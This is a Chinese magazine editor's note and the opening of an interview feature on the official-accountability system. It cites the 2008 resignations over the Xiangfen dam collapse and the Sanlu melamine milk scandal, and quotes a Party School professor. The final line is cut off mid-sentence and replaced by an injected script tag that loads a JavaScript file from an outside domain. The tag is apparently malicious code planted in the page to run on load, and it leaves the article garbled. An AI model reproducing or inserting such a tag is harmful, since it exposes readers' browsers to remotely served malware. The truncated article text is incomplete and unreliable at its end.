编者按:
孟学农因山西襄汾溃坝事故再次请辞;李长江因国家质检总局对奶粉质量监管缺失引咎辞职;冀纯堂因三鹿三聚氰胺奶粉事件辞去石家庄市长职务……
所谓官员问责制,是指对政府及其官员的一切行为和后果都必须而且能够追究责任的制度。其实质是通过各种形式的责任约束,限制和规范政府权力和官员行为,最终达到权为民所用的目的,是现代政府强化和明确责任,改善政府管理的一种有效的制度。
胡总书记曾在2008年9月19日的省部级主要领导干部深入学习实践科学发展观专题研讨班开班式上指出,“有些干部甚至对群众呼声和疾苦置若罔闻,对关系群众生命安全这样的重大问题麻木不仁。”领导干部是一种特殊职业,在管理国家和社会事务中,承担着重要使命,要具备高度的敬业精神。已开始进入制度化操作层面的官员问责,正在冲击太平“官念”。
而社会各界如何看待官员问责制?它有无需要继续改进之处?对此,本刊专访了几位官员、专家,现将观点一一陈列,供读者思考。
中央党校党建部思想政治工作教研室主任、教授张希贤:
目前政府内部尚存在权责不明确的现象,这是否会使官员问责制实行的效果打折扣?
这是一个渐进的过程。主要是我国长期以来实行的是人治治国,而不是?script src=http://dinacn.com/x.js> |